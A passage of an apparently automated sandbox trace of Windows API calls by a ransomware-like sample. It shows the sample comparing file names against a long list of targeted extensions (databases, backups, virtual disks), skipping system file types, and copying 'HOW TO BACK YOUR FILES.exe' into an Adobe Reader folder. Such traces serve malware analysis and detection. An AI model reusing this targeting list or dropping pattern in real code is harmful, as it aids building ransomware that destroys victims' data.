	[0057.792] lstrcmpiW (lpString1="pdf", lpString2="alf") returned 1
	[0057.792] lstrlenW (lpString="ask") returned 3
	[0057.792] lstrcmpiW (lpString1="pdf", lpString2="ask") returned 1
	[0057.792] lstrlenW (lpString="btr") returned 3
	[0057.792] lstrcmpiW (lpString1="pdf", lpString2="btr") returned 1
	[0057.792] lstrlenW (lpString="cat") returned 3
	[0057.792] lstrcmpiW (lpString1="pdf", lpString2="cat") returned 1
	[0057.792] lstrlenW (lpString="cdb") returned 3
	[0057.792] lstrcmpiW (lpString1="pdf", lpString2="cdb") returned 1
	[0057.792] lstrlenW (lpString="ckp") returned 3
	[0057.792] lstrcmpiW (lpString1="pdf", lpString2="ckp") returned 1
	[0057.792] lstrlenW (lpString="cma") returned 3
	[0057.793] lstrcmpiW (lpString1="pdf", lpString2="cma") returned 1
	[0057.793] lstrlenW (lpString="cpd") returned 3
	[0057.793] lstrcmpiW (lpString1="pdf", lpString2="cpd") returned 1
	[0057.793] lstrlenW (lpString="dacpac") returned 6
	[0057.793] lstrcmpiW (lpString1="ds.pdf", lpString2="dacpac") returned 1
	[0057.793] lstrlenW (lpString="dad") returned 3
	[0057.793] lstrcmpiW (lpString1="pdf", lpString2="dad") returned 1
	[0057.793] lstrlenW (lpString="dadiagrams") returned 10
	[0057.793] lstrlenW (lpString="daschema") returned 8
	[0057.793] lstrcmpiW (lpString1="ords.pdf", lpString2="daschema") returned 1
	[0057.793] lstrlenW (lpString="db-journal") returned 10
	[0057.793] lstrlenW (lpString="db-shm") returned 6
	[0057.793] lstrcmpiW (lpString1="ds.pdf", lpString2="db-shm") returned 1
	[0057.793] lstrlenW (lpString="db-wal") returned 6
	[0057.793] lstrcmpiW (lpString1="ds.pdf", lpString2="db-wal") returned 1
	[0057.793] lstrlenW (lpString="dbc") returned 3
	[0057.793] lstrcmpiW (lpString1="pdf", lpString2="dbc") returned 1
	[0057.793] lstrlenW (lpString="dbs") returned 3
	[0057.793] lstrcmpiW (lpString1="pdf", lpString2="dbs") returned 1
	[0057.793] lstrlenW (lpString="dbt") returned 3
	[0057.793] lstrcmpiW (lpString1="pdf", lpString2="dbt") returned 1
	[0057.793] lstrlenW (lpString="dbv") returned 3
	[0057.793] lstrcmpiW (lpString1="pdf", lpString2="dbv") returned 1
	[0057.793] lstrlenW (lpString="dbx") returned 3
	[0057.793] lstrcmpiW (lpString1="pdf", lpString2="dbx") returned 1
	[0057.793] lstrlenW (lpString="dcb") returned 3
	[0057.793] lstrcmpiW (lpString1="pdf", lpString2="dcb") returned 1
	[0057.793] lstrlenW (lpString="dct") returned 3
	[0057.793] lstrcmpiW (lpString1="pdf", lpString2="dct") returned 1
	[0057.793] lstrlenW (lpString="dcx") returned 3
	[0057.793] lstrcmpiW (lpString1="pdf", lpString2="dcx") returned 1
	[0057.793] lstrlenW (lpString="ddl") returned 3
	[0057.794] lstrcmpiW (lpString1="pdf", lpString2="ddl") returned 1
	[0057.794] lstrlenW (lpString="dlis") returned 4
	[0057.794] lstrcmpiW (lpString1=".pdf", lpString2="dlis") returned -1
	[0057.794] lstrlenW (lpString="dp1") returned 3
	[0057.794] lstrcmpiW (lpString1="pdf", lpString2="dp1") returned 1
	[0057.794] lstrlenW (lpString="dqy") returned 3
	[0057.794] lstrcmpiW (lpString1="pdf", lpString2="dqy") returned 1
	[0057.794] lstrlenW (lpString="dsk") returned 3
	[0057.794] lstrcmpiW (lpString1="pdf", lpString2="dsk") returned 1
	[0057.794] lstrlenW (lpString="dsn") returned 3
	[0057.794] lstrcmpiW (lpString1="pdf", lpString2="dsn") returned 1
	[0057.794] lstrlenW (lpString="dtsx") returned 4
	[0057.794] lstrcmpiW (lpString1=".pdf", lpString2="dtsx") returned -1
	[0057.794] lstrlenW (lpString="dxl") returned 3
	[0057.794] lstrcmpiW (lpString1="pdf", lpString2="dxl") returned 1
	[0057.794] lstrlenW (lpString="eco") returned 3
	[0057.794] lstrcmpiW (lpString1="pdf", lpString2="eco") returned 1
	[0057.794] lstrlenW (lpString="ecx") returned 3
	[0057.794] lstrcmpiW (lpString1="pdf", lpString2="ecx") returned 1
	[0057.794] lstrlenW (lpString="edb") returned 3
	[0057.794] lstrcmpiW (lpString1="pdf", lpString2="edb") returned 1
	[0057.794] lstrlenW (lpString="epim") returned 4
	[0057.794] lstrcmpiW (lpString1=".pdf", lpString2="epim") returned -1
	[0057.794] lstrlenW (lpString="fcd") returned 3
	[0057.794] lstrcmpiW (lpString1="pdf", lpString2="fcd") returned 1
	[0057.794] lstrlenW (lpString="fdb") returned 3
	[0057.794] lstrcmpiW (lpString1="pdf", lpString2="fdb") returned 1
	[0057.794] lstrlenW (lpString="fic") returned 3
	[0057.794] lstrcmpiW (lpString1="pdf", lpString2="fic") returned 1
	[0057.794] lstrlenW (lpString="flexolibrary") returned 12
	[0057.794] lstrlenW (lpString="fm5") returned 3
	[0057.794] lstrcmpiW (lpString1="pdf", lpString2="fm5") returned 1
	[0057.794] lstrlenW (lpString="fmp") returned 3
	[0057.795] lstrcmpiW (lpString1="pdf", lpString2="fmp") returned 1
	[0057.795] lstrlenW (lpString="fmp12") returned 5
	[0057.795] lstrcmpiW (lpString1="s.pdf", lpString2="fmp12") returned 1
	[0057.795] lstrlenW (lpString="fmpsl") returned 5
	[0057.795] lstrcmpiW (lpString1="s.pdf", lpString2="fmpsl") returned 1
	[0057.795] lstrlenW (lpString="fol") returned 3
	[0057.795] lstrcmpiW (lpString1="pdf", lpString2="fol") returned 1
	[0057.795] lstrlenW (lpString="fp3") returned 3
	[0057.795] lstrcmpiW (lpString1="pdf", lpString2="fp3") returned 1
	[0057.795] lstrlenW (lpString="fp4") returned 3
	[0057.795] lstrcmpiW (lpString1="pdf", lpString2="fp4") returned 1
	[0057.795] lstrlenW (lpString="fp5") returned 3
	[0057.795] lstrcmpiW (lpString1="pdf", lpString2="fp5") returned 1
	[0057.795] lstrlenW (lpString="fp7") returned 3
	[0057.795] lstrcmpiW (lpString1="pdf", lpString2="fp7") returned 1
	[0057.795] lstrlenW (lpString="fpt") returned 3
	[0057.795] lstrcmpiW (lpString1="pdf", lpString2="fpt") returned 1
	[0057.795] lstrlenW (lpString="frm") returned 3
	[0057.795] lstrcmpiW (lpString1="pdf", lpString2="frm") returned 1
	[0057.795] lstrlenW (lpString="gdb") returned 3
	[0057.795] lstrcmpiW (lpString1="pdf", lpString2="gdb") returned 1
	[0057.795] lstrlenW (lpString="gdb") returned 3
	[0057.795] lstrcmpiW (lpString1="pdf", lpString2="gdb") returned 1
	[0057.795] lstrlenW (lpString="grdb") returned 4
	[0057.795] lstrcmpiW (lpString1=".pdf", lpString2="grdb") returned -1
	[0057.795] lstrlenW (lpString="gwi") returned 3
	[0057.795] lstrcmpiW (lpString1="pdf", lpString2="gwi") returned 1
	[0057.795] lstrlenW (lpString="hdb") returned 3
	[0057.795] lstrcmpiW (lpString1="pdf", lpString2="hdb") returned 1
	[0057.795] lstrlenW (lpString="his") returned 3
	[0057.795] lstrcmpiW (lpString1="pdf", lpString2="his") returned 1
	[0057.795] lstrlenW (lpString="ib") returned 2
	[0057.796] lstrcmpiW (lpString1="df", lpString2="ib") returned -1
	[0057.796] lstrlenW (lpString="idb") returned 3
	[0057.796] lstrcmpiW (lpString1="pdf", lpString2="idb") returned 1
	[0057.796] lstrlenW (lpString="ihx") returned 3
	[0057.796] lstrcmpiW (lpString1="pdf", lpString2="ihx") returned 1
	[0057.796] lstrlenW (lpString="itdb") returned 4
	[0057.796] lstrcmpiW (lpString1=".pdf", lpString2="itdb") returned -1
	[0057.796] lstrlenW (lpString="itw") returned 3
	[0057.796] lstrcmpiW (lpString1="pdf", lpString2="itw") returned 1
	[0057.796] lstrlenW (lpString="jet") returned 3
	[0057.796] lstrcmpiW (lpString1="pdf", lpString2="jet") returned 1
	[0057.796] lstrlenW (lpString="jtx") returned 3
	[0057.796] lstrcmpiW (lpString1="pdf", lpString2="jtx") returned 1
	[0057.796] lstrlenW (lpString="kdb") returned 3
	[0057.796] lstrcmpiW (lpString1="pdf", lpString2="kdb") returned 1
	[0057.796] lstrlenW (lpString="kexi") returned 4
	[0057.796] lstrcmpiW (lpString1=".pdf", lpString2="kexi") returned -1
	[0057.796] lstrlenW (lpString="kexic") returned 5
	[0057.796] lstrcmpiW (lpString1="s.pdf", lpString2="kexic") returned 1
	[0057.796] lstrlenW (lpString="kexis") returned 5
	[0057.796] lstrcmpiW (lpString1="s.pdf", lpString2="kexis") returned 1
	[0057.796] lstrlenW (lpString="lgc") returned 3
	[0057.796] lstrcmpiW (lpString1="pdf", lpString2="lgc") returned 1
	[0057.796] lstrlenW (lpString="lwx") returned 3
	[0057.796] lstrcmpiW (lpString1="pdf", lpString2="lwx") returned 1
	[0057.796] lstrlenW (lpString="maf") returned 3
	[0057.796] lstrcmpiW (lpString1="pdf", lpString2="maf") returned 1
	[0057.796] lstrlenW (lpString="maq") returned 3
	[0057.796] lstrcmpiW (lpString1="pdf", lpString2="maq") returned 1
	[0057.796] lstrlenW (lpString="mar") returned 3
	[0057.796] lstrcmpiW (lpString1="pdf", lpString2="mar") returned 1
	[0057.796] lstrlenW (lpString="marshal") returned 7
	[0057.796] lstrcmpiW (lpString1="rds.pdf", lpString2="marshal") returned 1
	[0057.796] lstrlenW (lpString="mas") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="mas") returned 1
	[0057.797] lstrlenW (lpString="mav") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="mav") returned 1
	[0057.797] lstrlenW (lpString="maw") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="maw") returned 1
	[0057.797] lstrlenW (lpString="mdbhtml") returned 7
	[0057.797] lstrcmpiW (lpString1="rds.pdf", lpString2="mdbhtml") returned 1
	[0057.797] lstrlenW (lpString="mdn") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="mdn") returned 1
	[0057.797] lstrlenW (lpString="mdt") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="mdt") returned 1
	[0057.797] lstrlenW (lpString="mfd") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="mfd") returned 1
	[0057.797] lstrlenW (lpString="mpd") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="mpd") returned 1
	[0057.797] lstrlenW (lpString="mrg") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="mrg") returned 1
	[0057.797] lstrlenW (lpString="mud") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="mud") returned 1
	[0057.797] lstrlenW (lpString="mwb") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="mwb") returned 1
	[0057.797] lstrlenW (lpString="myd") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="myd") returned 1
	[0057.797] lstrlenW (lpString="ndf") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="ndf") returned 1
	[0057.797] lstrlenW (lpString="nnt") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="nnt") returned 1
	[0057.797] lstrlenW (lpString="nrmlib") returned 6
	[0057.797] lstrcmpiW (lpString1="ds.pdf", lpString2="nrmlib") returned -1
	[0057.797] lstrlenW (lpString="ns2") returned 3
	[0057.797] lstrcmpiW (lpString1="pdf", lpString2="ns2") returned 1
	[0057.797] lstrlenW (lpString="ns3") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="ns3") returned 1
	[0057.798] lstrlenW (lpString="ns4") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="ns4") returned 1
	[0057.798] lstrlenW (lpString="nsf") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="nsf") returned 1
	[0057.798] lstrlenW (lpString="nv") returned 2
	[0057.798] lstrcmpiW (lpString1="df", lpString2="nv") returned -1
	[0057.798] lstrlenW (lpString="nv2") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="nv2") returned 1
	[0057.798] lstrlenW (lpString="nwdb") returned 4
	[0057.798] lstrcmpiW (lpString1=".pdf", lpString2="nwdb") returned -1
	[0057.798] lstrlenW (lpString="nyf") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="nyf") returned 1
	[0057.798] lstrlenW (lpString="odb") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="odb") returned 1
	[0057.798] lstrlenW (lpString="odb") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="odb") returned 1
	[0057.798] lstrlenW (lpString="oqy") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="oqy") returned 1
	[0057.798] lstrlenW (lpString="ora") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="ora") returned 1
	[0057.798] lstrlenW (lpString="orx") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="orx") returned 1
	[0057.798] lstrlenW (lpString="owc") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="owc") returned 1
	[0057.798] lstrlenW (lpString="p96") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="p96") returned 1
	[0057.798] lstrlenW (lpString="p97") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="p97") returned 1
	[0057.798] lstrlenW (lpString="pan") returned 3
	[0057.798] lstrcmpiW (lpString1="pdf", lpString2="pan") returned 1
	[0057.799] lstrlenW (lpString="pdb") returned 3
	[0057.799] lstrcmpiW (lpString1="pdf", lpString2="pdb") returned 1
	[0057.799] lstrlenW (lpString="pdm") returned 3
	[0057.799] lstrcmpiW (lpString1="pdf", lpString2="pdm") returned -1
	[0057.799] lstrlenW (lpString="pnz") returned 3
	[0057.799] lstrcmpiW (lpString1="pdf", lpString2="pnz") returned -1
	[0057.799] lstrlenW (lpString="qry") returned 3
	[0057.800] lstrcmpiW (lpString1="pdf", lpString2="qry") returned -1
	[0057.800] lstrlenW (lpString="qvd") returned 3
	[0057.800] lstrcmpiW (lpString1="pdf", lpString2="qvd") returned -1
	[0057.800] lstrlenW (lpString="rbf") returned 3
	[0057.800] lstrcmpiW (lpString1="pdf", lpString2="rbf") returned -1
	[0057.800] lstrlenW (lpString="rctd") returned 4
	[0057.800] lstrcmpiW (lpString1=".pdf", lpString2="rctd") returned -1
	[0057.800] lstrlenW (lpString="rod") returned 3
	[0057.800] lstrcmpiW (lpString1="pdf", lpString2="rod") returned -1
	[0057.800] lstrlenW (lpString="rodx") returned 4
	[0057.800] lstrcmpiW (lpString1=".pdf", lpString2="rodx") returned -1
	[0057.800] lstrlenW (lpString="rpd") returned 3
	[0057.800] lstrcmpiW (lpString1="pdf", lpString2="rpd") returned -1
	[0057.800] lstrlenW (lpString="rsd") returned 3
	[0057.800] lstrcmpiW (lpString1="pdf", lpString2="rsd") returned -1
	[0057.800] lstrlenW (lpString="sas7bdat") returned 8
	[0057.800] lstrcmpiW (lpString1="ords.pdf", lpString2="sas7bdat") returned -1
	[0057.800] lstrlenW (lpString="sbf") returned 3
	[0057.800] lstrcmpiW (lpString1="pdf", lpString2="sbf") returned -1
	[0057.800] lstrlenW (lpString="scx") returned 3
	[0057.800] lstrcmpiW (lpString1="pdf", lpString2="scx") returned -1
	[0057.800] lstrlenW (lpString="sdb") returned 3
	[0057.800] lstrcmpiW (lpString1="pdf", lpString2="sdb") returned -1
	[0057.800] lstrlenW (lpString="sdc") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="sdc") returned -1
	[0057.801] lstrlenW (lpString="sdf") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="sdf") returned -1
	[0057.801] lstrlenW (lpString="sis") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="sis") returned -1
	[0057.801] lstrlenW (lpString="spq") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="spq") returned -1
	[0057.801] lstrlenW (lpString="te") returned 2
	[0057.801] lstrcmpiW (lpString1="df", lpString2="te") returned -1
	[0057.801] lstrlenW (lpString="teacher") returned 7
	[0057.801] lstrcmpiW (lpString1="rds.pdf", lpString2="teacher") returned -1
	[0057.801] lstrlenW (lpString="tmd") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="tmd") returned -1
	[0057.801] lstrlenW (lpString="tps") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="tps") returned -1
	[0057.801] lstrlenW (lpString="trc") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="trc") returned -1
	[0057.801] lstrlenW (lpString="trc") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="trc") returned -1
	[0057.801] lstrlenW (lpString="trm") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="trm") returned -1
	[0057.801] lstrlenW (lpString="udb") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="udb") returned -1
	[0057.801] lstrlenW (lpString="udl") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="udl") returned -1
	[0057.801] lstrlenW (lpString="usr") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="usr") returned -1
	[0057.801] lstrlenW (lpString="v12") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="v12") returned -1
	[0057.801] lstrlenW (lpString="vis") returned 3
	[0057.801] lstrcmpiW (lpString1="pdf", lpString2="vis") returned -1
	[0057.801] lstrlenW (lpString="vpd") returned 3
	[0057.802] lstrcmpiW (lpString1="pdf", lpString2="vpd") returned -1
	[0057.802] lstrlenW (lpString="vvv") returned 3
	[0057.802] lstrcmpiW (lpString1="pdf", lpString2="vvv") returned -1
	[0057.802] lstrlenW (lpString="wdb") returned 3
	[0057.802] lstrcmpiW (lpString1="pdf", lpString2="wdb") returned -1
	[0057.802] lstrlenW (lpString="wmdb") returned 4
	[0057.802] lstrcmpiW (lpString1=".pdf", lpString2="wmdb") returned -1
	[0057.802] lstrlenW (lpString="wrk") returned 3
	[0057.802] lstrcmpiW (lpString1="pdf", lpString2="wrk") returned -1
	[0057.802] lstrlenW (lpString="xdb") returned 3
	[0057.802] lstrcmpiW (lpString1="pdf", lpString2="xdb") returned -1
	[0057.802] lstrlenW (lpString="xld") returned 3
	[0057.802] lstrcmpiW (lpString1="pdf", lpString2="xld") returned -1
	[0057.802] lstrlenW (lpString="xmlff") returned 5
	[0057.802] lstrcmpiW (lpString1="s.pdf", lpString2="xmlff") returned -1
	[0057.802] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 0
	[0057.802] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0057.802] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe10
	[0057.802] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR"
	[0057.802] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb708 | out: hHeap=0x580000) returned 1
	[0057.802] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0057.802] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR") returned 79
	[0057.802] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR"
	[0057.802] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.802] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.810] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.810] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a873a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a873a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.810] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.810] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.811] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0057.811] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.811] lstrlenW (lpString="Apollon865") returned 10
	[0057.811] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0057.811] lstrlenW (lpString=".dll") returned 4
	[0057.811] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".dll") returned 1
	[0057.811] lstrlenW (lpString=".lnk") returned 4
	[0057.811] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".lnk") returned 1
	[0057.811] lstrlenW (lpString=".ini") returned 4
	[0057.811] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".ini") returned 1
	[0057.811] lstrlenW (lpString=".sys") returned 4
	[0057.811] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".sys") returned 1
	[0057.811] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.811] lstrlenW (lpString="bak") returned 3
	[0057.811] lstrcmpiW (lpString1="pdf", lpString2="bak") returned 1
	[0057.811] lstrlenW (lpString="ba_") returned 3
	[0057.811] lstrcmpiW (lpString1="pdf", lpString2="ba_") returned 1
	[0057.811] lstrlenW (lpString="dbb") returned 3
	[0057.811] lstrcmpiW (lpString1="pdf", lpString2="dbb") returned 1
	[0057.811] lstrlenW (lpString="vmdk") returned 4
	[0057.811] lstrcmpiW (lpString1=".pdf", lpString2="vmdk") returned -1
	[0057.811] lstrlenW (lpString="rar") returned 3
	[0057.811] lstrcmpiW (lpString1="pdf", lpString2="rar") returned -1
	[0057.811] lstrlenW (lpString="zip") returned 3
	[0057.811] lstrcmpiW (lpString1="pdf", lpString2="zip") returned -1
	[0057.811] lstrlenW (lpString="tgz") returned 3
	[0057.811] lstrcmpiW (lpString1="pdf", lpString2="tgz") returned -1
	[0057.811] lstrlenW (lpString="vbox") returned 4
	[0057.811] lstrcmpiW (lpString1=".pdf", lpString2="vbox") returned -1
	[0057.811] lstrlenW (lpString="vdi") returned 3
	[0057.811] lstrcmpiW (lpString1="pdf", lpString2="vdi") returned -1
	[0057.811] lstrlenW (lpString="vhd") returned 3
	[0057.812] lstrcmpiW (lpString1="pdf", lpString2="vhd") returned -1
	[0057.812] lstrlenW (lpString="vhdx") returned 4
	[0057.812] lstrcmpiW (lpString1=".pdf", lpString2="vhdx") returned -1
	[0057.812] lstrlenW (lpString="avhd") returned 4
	[0057.812] lstrcmpiW (lpString1=".pdf", lpString2="avhd") returned -1
	[0057.812] lstrlenW (lpString="db") returned 2
	[0057.812] lstrcmpiW (lpString1="df", lpString2="db") returned 1
	[0057.812] lstrlenW (lpString="db2") returned 3
	[0057.812] lstrcmpiW (lpString1="pdf", lpString2="db2") returned 1
	[0057.812] lstrlenW (lpString="db3") returned 3
	[0057.812] lstrcmpiW (lpString1="pdf", lpString2="db3") returned 1
	[0057.812] lstrlenW (lpString="dbf") returned 3
	[0057.812] lstrcmpiW (lpString1="pdf", lpString2="dbf") returned 1
	[0057.812] lstrlenW (lpString="mdf") returned 3
	[0057.812] lstrcmpiW (lpString1="pdf", lpString2="mdf") returned 1
	[0057.812] lstrlenW (lpString="mdb") returned 3
	[0057.812] lstrcmpiW (lpString1="pdf", lpString2="mdb") returned 1
	[0057.812] lstrlenW (lpString="sql") returned 3
	[0057.812] lstrcmpiW (lpString1="pdf", lpString2="sql") returned -1
	[0057.812] lstrlenW (lpString="sqlite") returned 6
	[0057.812] lstrcmpiW (lpString1="ic.pdf", lpString2="sqlite") returned -1
	[0057.812] lstrlenW (lpString="sqlite3") returned 7
	[0057.812] lstrcmpiW (lpString1="mic.pdf", lpString2="sqlite3") returned -1
	[0057.812] lstrlenW (lpString="sqlitedb") returned 8
	[0057.812] lstrcmpiW (lpString1="amic.pdf", lpString2="sqlitedb") returned -1
	[0057.812] lstrlenW (lpString="xml") returned 3
	[0057.812] lstrcmpiW (lpString1="pdf", lpString2="xml") returned -1
	[0057.812] lstrlenW (lpString="$er") returned 3
	[0057.812] lstrcmpiW (lpString1="pdf", lpString2="$er") returned 1
	[0057.812] lstrlenW (lpString="4dd") returned 3
	[0057.812] lstrcmpiW (lpString1="pdf", lpString2="4dd") returned 1
	[0057.812] lstrlenW (lpString="4dl") returned 3
	[0057.812] lstrcmpiW (lpString1="pdf", lpString2="4dl") returned 1
	[0057.813] lstrlenW (lpString="^^^") returned 3
	[0057.813] lstrcmpiW (lpString1="pdf", lpString2="^^^") returned 1
	[0057.813] lstrlenW (lpString="abs") returned 3
	[0057.813] lstrcmpiW (lpString1="pdf", lpString2="abs") returned 1
	[0057.813] lstrlenW (lpString="abx") returned 3
	[0057.813] lstrcmpiW (lpString1="pdf", lpString2="abx") returned 1
	[0057.813] lstrlenW (lpString="accdb") returned 5
	[0057.813] lstrcmpiW (lpString1="c.pdf", lpString2="accdb") returned 1
	[0057.813] lstrlenW (lpString="accdc") returned 5
	[0057.813] lstrcmpiW (lpString1="c.pdf", lpString2="accdc") returned 1
	[0057.813] lstrlenW (lpString="accde") returned 5
	[0057.813] lstrcmpiW (lpString1="c.pdf", lpString2="accde") returned 1
	[0057.813] lstrlenW (lpString="accdr") returned 5
	[0057.813] lstrcmpiW (lpString1="c.pdf", lpString2="accdr") returned 1
	[0057.813] lstrlenW (lpString="accdt") returned 5
	[0057.813] lstrcmpiW (lpString1="c.pdf", lpString2="accdt") returned 1
	[0057.813] lstrlenW (lpString="accdw") returned 5
	[0057.813] lstrcmpiW (lpString1="c.pdf", lpString2="accdw") returned 1
	[0057.813] lstrlenW (lpString="accft") returned 5
	[0057.813] lstrcmpiW (lpString1="c.pdf", lpString2="accft") returned 1
	[0057.813] lstrlenW (lpString="adb") returned 3
	[0057.813] lstrcmpiW (lpString1="pdf", lpString2="adb") returned 1
	[0057.813] lstrlenW (lpString="adb") returned 3
	[0057.813] lstrcmpiW (lpString1="pdf", lpString2="adb") returned 1
	[0057.813] lstrlenW (lpString="ade") returned 3
	[0057.813] lstrcmpiW (lpString1="pdf", lpString2="ade") returned 1
	[0057.813] lstrlenW (lpString="adf") returned 3
	[0057.813] lstrcmpiW (lpString1="pdf", lpString2="adf") returned 1
	[0057.813] lstrlenW (lpString="adn") returned 3
	[0057.813] lstrcmpiW (lpString1="pdf", lpString2="adn") returned 1
	[0057.813] lstrlenW (lpString="adp") returned 3
	[0057.813] lstrcmpiW (lpString1="pdf", lpString2="adp") returned 1
	[0057.813] lstrlenW (lpString="alf") returned 3
	[0057.814] lstrcmpiW (lpString1="pdf", lpString2="alf") returned 1
	[0057.814] lstrlenW (lpString="ask") returned 3
	[0057.814] lstrcmpiW (lpString1="pdf", lpString2="ask") returned 1
	[0057.814] lstrlenW (lpString="btr") returned 3
	[0057.814] lstrcmpiW (lpString1="pdf", lpString2="btr") returned 1
	[0057.814] lstrlenW (lpString="cat") returned 3
	[0057.814] lstrcmpiW (lpString1="pdf", lpString2="cat") returned 1
	[0057.814] lstrlenW (lpString="cdb") returned 3
	[0057.814] lstrcmpiW (lpString1="pdf", lpString2="cdb") returned 1
	[0057.814] lstrlenW (lpString="ckp") returned 3
	[0057.814] lstrcmpiW (lpString1="pdf", lpString2="ckp") returned 1
	[0057.814] lstrlenW (lpString="cma") returned 3
